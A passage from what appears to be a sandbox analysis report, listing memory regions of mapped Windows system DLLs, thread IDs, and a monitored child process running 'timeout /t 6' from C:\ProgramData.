= "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 1479 start_va = 0x7ffb24120000 end_va = 0x7ffb24143fff monitored = 0 entry_point = 0x7ffb24123260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1480 start_va = 0x7ffb242c0000 end_va = 0x7ffb243b3fff monitored = 0 entry_point = 0x7ffb242ca960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1481 start_va = 0x7ffb24410000 end_va = 0x7ffb24458fff monitored = 0 entry_point = 0x7ffb2441a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1482 start_va = 0x7ffb24530000 end_va = 0x7ffb2453bfff monitored = 0 entry_point = 0x7ffb245327e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1483 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1484 start_va = 0x7ffb24670000 end_va = 0x7ffb246e9fff monitored = 0 entry_point = 0x7ffb24691a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1485 start_va = 0x7ffb24730000 end_va = 0x7ffb24763fff monitored = 0 entry_point = 0x7ffb2474ae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1486 start_va = 0x7ffb24770000 end_va = 0x7ffb24779fff monitored = 0 entry_point = 0x7ffb24771830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 1487 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1488 start_va = 0x7ffb249f0000 end_va = 0x7ffb24a4bfff monitored = 0 entry_point = 0x7ffb24a06f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1489 start_va = 0x7ffb24aa0000 end_va = 0x7ffb24ab6fff monitored = 0 entry_point = 0x7ffb24aa79d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1490 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1491 start_va = 0x7ffb24c00000 end_va = 0x7ffb24c20fff monitored = 0 entry_point = 0x7ffb24c10250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 1492 start_va = 0x7ffb24c50000 end_va = 0x7ffb24c89fff monitored = 0 entry_point = 0x7ffb24c58d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 1493 start_va = 0x7ffb24c90000 end_va = 0x7ffb24cb6fff monitored = 0 entry_point = 0x7ffb24ca0aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 1494 start_va = 0x7ffb24da0000 end_va = 0x7ffb24dccfff monitored = 0 entry_point = 0x7ffb24db9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1495 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1496 start_va = 0x7ffb24f90000 end_va = 0x7ffb24fa8fff monitored = 0 entry_point = 0x7ffb24f95e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 1497 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1498 start_va = 0x7ffb24fe0000 end_va = 0x7ffb25078fff monitored = 0 entry_point = 0x7ffb2500f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1499 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1500 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1501 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1502 start_va = 0x7ffb251a0000 end_va = 0x7ffb251affff monitored = 0 entry_point = 0x7ffb251a56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1503 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1504 start_va = 0x7ffb253a0000 end_va = 0x7ffb253b6fff monitored = 0 entry_point = 0x7ffb253a1390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1505 start_va = 0x7ffb253c0000 end_va = 0x7ffb25586fff monitored = 0 entry_point = 0x7ffb2541db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1506 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1507 start_va = 0x7ffb256b0000 end_va = 0x7ffb25764fff monitored = 0 entry_point = 0x7ffb256f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1508 start_va = 0x7ffb25770000 end_va = 0x7ffb257f5fff monitored = 0 entry_point = 0x7ffb2577d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1509 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1510 start_va = 0x7ffb25850000 end_va = 0x7ffb25e93fff monitored = 0 entry_point = 0x7ffb25a164b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1511 start_va = 0x7ffb25ea0000 end_va = 0x7ffb25ef4fff monitored = 0 entry_point = 0x7ffb25eb7970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1512 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1513 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1514 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1515 start_va = 0x7ffb262e0000 end_va = 0x7ffb26331fff monitored = 0 entry_point = 0x7ffb262ef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1516 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1517 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1518 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1519 start_va = 0x7ffb26780000 end_va = 0x7ffb267dbfff monitored = 0 entry_point = 0x7ffb2679b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1520 start_va = 0x7ffb267e0000 end_va = 0x7ffb27d3efff monitored = 0 entry_point = 0x7ffb269411f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1521 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1522 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1523 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1524 start_va = 0x7ffb28450000 end_va = 0x7ffb284bafff monitored = 0 entry_point = 0x7ffb284690c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1525 start_va = 0x7ffb284c0000 end_va = 0x7ffb288e8fff monitored = 0 entry_point = 0x7ffb284e8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1526 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1527 start_va = 0x7ffb28a40000 end_va = 0x7ffb28a47fff monitored = 0 entry_point = 0x7ffb28a41ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1528 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1529 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1531 start_va = 0x4700000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 1532 start_va = 0x48f0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1533 start_va = 0x4a00000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1534 start_va = 0x5300000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005300000" filename = "" Region: id = 1535 start_va = 0x550000 end_va = 0x555fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1537 start_va = 0x550000 end_va = 0x552fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1538 start_va = 0x550000 end_va = 0x557fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1539 start_va = 0x550000 end_va = 0x555fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1610 start_va = 0x6280000 end_va = 0x637ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006280000" filename = "" Region: id = 1611 start_va = 0x6a00000 end_va = 0x6afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006a00000" filename = "" Region: id = 1612 start_va = 0x6c00000 end_va = 0x6cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 1613 start_va = 0x550000 end_va = 0x551fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 1618 start_va = 0x560000 end_va = 0x561fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1796 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Thread: id = 31 os_tid = 0x864 Thread: id = 32 os_tid = 0xcb8 Thread: id = 33 os_tid = 0x13b4 Thread: id = 34 os_tid = 0x13ac Thread: id = 35 os_tid = 0x12e8 Thread: id = 36 os_tid = 0x12d8 Thread: id = 37 os_tid = 0x1224 Thread: id = 38 os_tid = 0x57c Thread: id = 39 os_tid = 0x23c Thread: id = 40 os_tid = 0xb9c Thread: id = 41 os_tid = 0xb4c Thread: id = 42 os_tid = 0xb98 Thread: id = 43 os_tid = 0xa1c Thread: id = 44 os_tid = 0x860 Thread: id = 45 os_tid = 0x908 Thread: id = 46 os_tid = 0xb74 Thread: id = 47 os_tid = 0x4fc Thread: id = 48 os_tid = 0xff0 Thread: id = 49 os_tid = 0xf98 Thread: id = 50 os_tid = 0xf88 Thread: id = 51 os_tid = 0xf70 Thread: id = 52 os_tid = 0xf6c Thread: id = 53 os_tid = 0xf60 Thread: id = 54 os_tid = 0xf5c Thread: id = 55 os_tid = 0xf58 Thread: id = 56 os_tid = 0xf50 Thread: id = 57 os_tid = 0xf4c Thread: id = 58 os_tid = 0xf48 Thread: id = 59 os_tid = 0xf38 Thread: id = 60 os_tid = 0xf10 Thread: id = 61 os_tid = 0xf04 Thread: id = 62 os_tid = 0xef8 Thread: id = 63 os_tid = 0xebc Thread: id = 64 os_tid = 0xea8 Thread: id = 65 os_tid = 0xe94 Thread: id = 66 os_tid = 0xe68 Thread: id = 67 os_tid = 0xe1c Thread: id = 68 os_tid = 0xd8c Thread: id = 69 os_tid = 0xb04 Thread: id = 70 os_tid = 0xac4 Thread: id = 71 os_tid = 0xb48 Thread: id = 72 os_tid = 0xb44 Thread: id = 73 os_tid = 0xb40 Thread: id = 74 os_tid = 0xb28 Thread: id = 75 os_tid = 0xaec Thread: id = 76 os_tid = 0xae4 Thread: id = 77 os_tid = 0xae0 Thread: id = 78 os_tid = 0xaa8 Thread: id = 79 os_tid = 0xa54 Thread: id = 80 os_tid = 0xa40 Thread: id = 81 os_tid = 0xa28 Thread: id = 82 os_tid = 0xa0c Thread: id = 83 os_tid = 0xa08 Thread: id = 84 os_tid = 0x9ec Thread: id = 85 os_tid = 0x9e4 Thread: id = 86 os_tid = 0x9e0 Thread: id = 87 os_tid = 0x9dc Thread: id = 88 os_tid = 0x9d8 Thread: id = 89 os_tid = 0x9d4 Thread: id = 90 os_tid = 0x950 Thread: id = 91 os_tid = 0x93c Thread: id = 92 os_tid = 0x91c Thread: id = 93 os_tid = 0x830 Thread: id = 94 os_tid = 0x4e0 Thread: id = 95 os_tid = 0x520 Thread: id = 96 os_tid = 0x48c Thread: id = 97 os_tid = 0x658 Thread: id = 98 os_tid = 0x630 Thread: id = 99 os_tid = 0x4dc Thread: id = 100 os_tid = 0x4a8 Thread: id = 101 os_tid = 0x49c Thread: id = 102 os_tid = 0x44c Thread: id = 103 os_tid = 0x434 Thread: id = 104 os_tid = 0x40c Thread: id = 105 os_tid = 0x408 Thread: id = 106 os_tid = 0x404 Thread: id = 107 os_tid = 0x2b0 Thread: id = 108 os_tid = 0x294 Thread: id = 109 os_tid = 0x168 Thread: id = 110 os_tid = 0x170 Thread: id = 111 os_tid = 0x288 Thread: id = 112 os_tid = 0x284 Thread: id = 113 os_tid = 0x264 Thread: id = 114 os_tid = 0x274 Thread: id = 115 os_tid = 0x15c Thread: id = 116 os_tid = 0xf4 Thread: id = 117 os_tid = 0xf00 Thread: id = 118 os_tid = 0x820 Thread: id = 119 os_tid = 0x3a8 Thread: id = 120 os_tid = 0x5a8 Thread: id = 123 os_tid = 0xb7c Thread: id = 124 os_tid = 0xe00 Thread: id = 125 os_tid = 0xf14 Process: id = "7" image_name = "timeout.exe" filename = "c:\\windows\\syswow64\\timeout.exe" page_root = "0x35b6a000" os_pid = "0x1220" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xbec" cmd_line = "timeout /t 6 " cur_dir = "C:\\ProgramData\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1540 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1541 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1542 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1543 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1544 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1545 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1546 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1547 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1548 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1549 start_va = 0xe90000 end_va = 0xe99fff monitored = 1 entry_point = 0xe94fb0 region_type = mapped_file name = "timeout.exe" filename = "\\Windows\\SysWOW64\\timeout.exe" (normalized: "c:\\windows\\syswow64\\timeout.exe") Region: id = 1550 start_va = 0xea0000 end_va = 0x4e9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ea0000" filename = "" Region: id = 1551 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1552 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 1553 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1554 start_va = 0x7fff0000 end_va = 0x7dfb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1555 start_va = 0x7dfb28b00000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb28b00000" filename = "" Region: id = 1556 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1557 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 1558 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1559 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1560 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1561 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1562 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1563 start_va = 0x400000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1564 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1565 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1566 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1567 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 1568 start_va = 0x580000 end_va = 0x63dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1569 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1570 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1571 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1572 start_va = 0x190000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1573 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1574 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1575 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1576 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1577 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1578 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1579 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1580 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1581 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1582 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1583 start_va = 0x6ffd0000 end_va = 0x6ffd7fff monitored = 0 entry_point = 0x6ffd17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1584 start_va = 0x110000 end_va = 0x139fff monitored = 0 entry_point = 0x115680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1585 start_va = 0x640000 end_va = 0x7c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000640000" filename = "" 